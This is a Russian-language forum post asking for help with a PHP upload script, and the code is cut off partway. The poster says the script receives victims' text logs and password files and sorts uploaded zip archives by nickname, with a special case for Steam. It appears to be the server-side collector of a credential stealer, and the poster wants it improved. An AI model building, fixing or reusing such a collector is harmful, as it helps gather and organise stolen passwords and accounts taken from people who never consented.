Помогите с Upload.php

Всем привет, хотел бы попросить у вас помощи с upload.php
Суть: ко мне приходят текстовые логи в виде (log,log1,log2,log3...)
И приходят пароли но уже просто pass.html...А нужно (pass1,pass2,pass3...)
Вот сам Аплоад

<?php

{
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$date = date("Y-m-d_H-i");

$extension = pathinfo($name);

file_put_contents("asd.txt", $extension['extension']);

if($extension['extension'] == "zip")
{
if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
$pattern = '/(\d+)\s(\w+)\.zip/';
$replace = '$2';
$nickname = preg_replace($pattern, $replace, $name);
if($nickname == "Steam")
{
if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/$name-$date.html");
return;
}
if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
